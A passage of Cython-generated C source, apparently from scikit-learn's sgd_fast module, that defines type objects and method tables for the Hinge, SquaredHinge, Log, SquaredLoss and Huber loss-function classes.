__pyx_tp_as_buffer_Hinge = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_Hinge = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.Hinge\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_Hinge, /*tp_as_number*/\n  &__pyx_tp_as_sequence_Hinge, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_Hinge, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_Hinge, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Hinge loss for binary classification tasks with y in {-1,1}\\n\\n    Parameters\\n    ----------\\n\\n    threshold : float > 0.0\\n        Margin threshold. When threshold=1.0, one gets the loss used by SVM.\\n        When threshold=0.0, one gets the loss used by the Perceptron.\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_Hinge, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_1__init__, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Hinge, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredHinge __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredHinge(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)o);\n  p->__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredHinge[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_3loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_5dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_7__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_SquaredHinge = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_SquaredHinge = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_SquaredHinge = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_SquaredHinge = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredHinge = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.SquaredHinge\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_SquaredHinge, /*tp_as_number*/\n  &__pyx_tp_as_sequence_SquaredHinge, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_SquaredHinge, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_SquaredHinge, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Squared Hinge loss for binary classification tasks with y in {-1,1}\\n\\n    Parameters\\n    ----------\\n\\n    threshold : float > 0.0\\n        Margin threshold. When threshold=1.0, one gets the loss used by\\n        (quadratically penalized) SVM.\\n    \"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredHinge, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  __pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_1__init__, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredHinge, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Log __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Log;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Log(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Log;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_Log[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_1loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_3Log_5__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_Log = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_Log = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_Log = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_Log = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_Log = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.Log\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_Log, /*tp_as_number*/\n  &__pyx_tp_as_sequence_Log, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_Log, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_Log, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Logistic regression loss for binary classification with y in {-1, 1}\"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_Log, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Log, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredLoss __pyx_vtable_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredLoss(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredLoss[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_1loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_3dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_5__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_SquaredLoss = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_SquaredLoss = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_SquaredLoss = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_SquaredLoss = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_SquaredLoss = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.SquaredLoss\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_SquaredLoss, /*tp_as_number*/\n  &__pyx_tp_as_sequence_SquaredLoss, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_SquaredLoss, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_SquaredLoss, /*tp_as_buffer*/\n  Py_TPFLAGS_DEFAULT|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_BASETYPE, /*tp_flags*/\n  __Pyx_DOCSTR(\"Squared loss traditional used in linear regression.\"), /*tp_doc*/\n  0, /*tp_traverse*/\n  0, /*tp_clear*/\n  0, /*tp_richcompare*/\n  0, /*tp_weaklistoffset*/\n  0, /*tp_iter*/\n  0, /*tp_iternext*/\n  __pyx_methods_7sklearn_12linear_model_8sgd_fast_SquaredLoss, /*tp_methods*/\n  0, /*tp_members*/\n  0, /*tp_getset*/\n  0, /*tp_base*/\n  0, /*tp_dict*/\n  0, /*tp_descr_get*/\n  0, /*tp_descr_set*/\n  0, /*tp_dictoffset*/\n  0, /*tp_init*/\n  0, /*tp_alloc*/\n  __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_SquaredLoss, /*tp_new*/\n  0, /*tp_free*/\n  0, /*tp_is_gc*/\n  0, /*tp_bases*/\n  0, /*tp_mro*/\n  0, /*tp_cache*/\n  0, /*tp_subclasses*/\n  0, /*tp_weaklist*/\n  0, /*tp_del*/\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*tp_version_tag*/\n  #endif\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Huber __pyx_vtable_7sklearn_12linear_model_8sgd_fast_Huber;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_Huber(PyTypeObject *t, PyObject *a, PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *p;\n  PyObject *o = __pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(t, a, k);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *)o);\n  p->__pyx_base.__pyx_base.__pyx_vtab = (struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction*)__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Huber;\n  return o;\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_Huber[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_3loss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"dloss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_5dloss, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(0)},\n  {__Pyx_NAMESTR(\"__reduce__\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_7__reduce__, METH_NOARGS, __Pyx_DOCSTR(0)},\n  {0, 0, 0, 0}\n};\n\nstatic PyNumberMethods __pyx_tp_as_number_Huber = {\n  0, /*nb_add*/\n  0, /*nb_subtract*/\n  0, /*nb_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_divide*/\n  #endif\n  0, /*nb_remainder*/\n  0, /*nb_divmod*/\n  0, /*nb_power*/\n  0, /*nb_negative*/\n  0, /*nb_positive*/\n  0, /*nb_absolute*/\n  0, /*nb_nonzero*/\n  0, /*nb_invert*/\n  0, /*nb_lshift*/\n  0, /*nb_rshift*/\n  0, /*nb_and*/\n  0, /*nb_xor*/\n  0, /*nb_or*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_coerce*/\n  #endif\n  0, /*nb_int*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_long*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*nb_float*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_oct*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_hex*/\n  #endif\n  0, /*nb_inplace_add*/\n  0, /*nb_inplace_subtract*/\n  0, /*nb_inplace_multiply*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*nb_inplace_divide*/\n  #endif\n  0, /*nb_inplace_remainder*/\n  0, /*nb_inplace_power*/\n  0, /*nb_inplace_lshift*/\n  0, /*nb_inplace_rshift*/\n  0, /*nb_inplace_and*/\n  0, /*nb_inplace_xor*/\n  0, /*nb_inplace_or*/\n  0, /*nb_floor_divide*/\n  0, /*nb_true_divide*/\n  0, /*nb_inplace_floor_divide*/\n  0, /*nb_inplace_true_divide*/\n  #if PY_VERSION_HEX >= 0x02050000\n  0, /*nb_index*/\n  #endif\n};\n\nstatic PySequenceMethods __pyx_tp_as_sequence_Huber = {\n  0, /*sq_length*/\n  0, /*sq_concat*/\n  0, /*sq_repeat*/\n  0, /*sq_item*/\n  0, /*sq_slice*/\n  0, /*sq_ass_item*/\n  0, /*sq_ass_slice*/\n  0, /*sq_contains*/\n  0, /*sq_inplace_concat*/\n  0, /*sq_inplace_repeat*/\n};\n\nstatic PyMappingMethods __pyx_tp_as_mapping_Huber = {\n  0, /*mp_length*/\n  0, /*mp_subscript*/\n  0, /*mp_ass_subscript*/\n};\n\nstatic PyBufferProcs __pyx_tp_as_buffer_Huber = {\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getreadbuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getwritebuffer*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getsegcount*/\n  #endif\n  #if PY_MAJOR_VERSION < 3\n  0, /*bf_getcharbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_getbuffer*/\n  #endif\n  #if PY_VERSION_HEX >= 0x02060000\n  0, /*bf_releasebuffer*/\n  #endif\n};\n\nstatic PyTypeObject __pyx_type_7sklearn_12linear_model_8sgd_fast_Huber = {\n  PyVarObject_HEAD_INIT(0, 0)\n  __Pyx_NAMESTR(\"sklearn.linear_model.sgd_fast.Huber\"), /*tp_name*/\n  sizeof(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber), /*tp_basicsize*/\n  0, /*tp_itemsize*/\n  __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction, /*tp_dealloc*/\n  0, /*tp_print*/\n  0, /*tp_getattr*/\n  0, /*tp_setattr*/\n  #if PY_MAJOR_VERSION < 3\n  0, /*tp_compare*/\n  #else\n  0, /*reserved*/\n  #endif\n  0, /*tp_repr*/\n  &__pyx_tp_as_number_Huber, /*tp_as_number*/\n  &__pyx_tp_as_sequence_Huber, /*tp_as_sequence*/\n  &__pyx_tp_as_mapping_Huber, /*tp_as_mapping*/\n  0, /*tp_hash*/\n  0, /*tp_call*/\n  0, /*tp_str*/\n  0, /*tp_getattro*/\n  0, /*tp_setattro*/\n  &__pyx_tp_as_buffer_Huber, /*tp_as_buffer*/\n  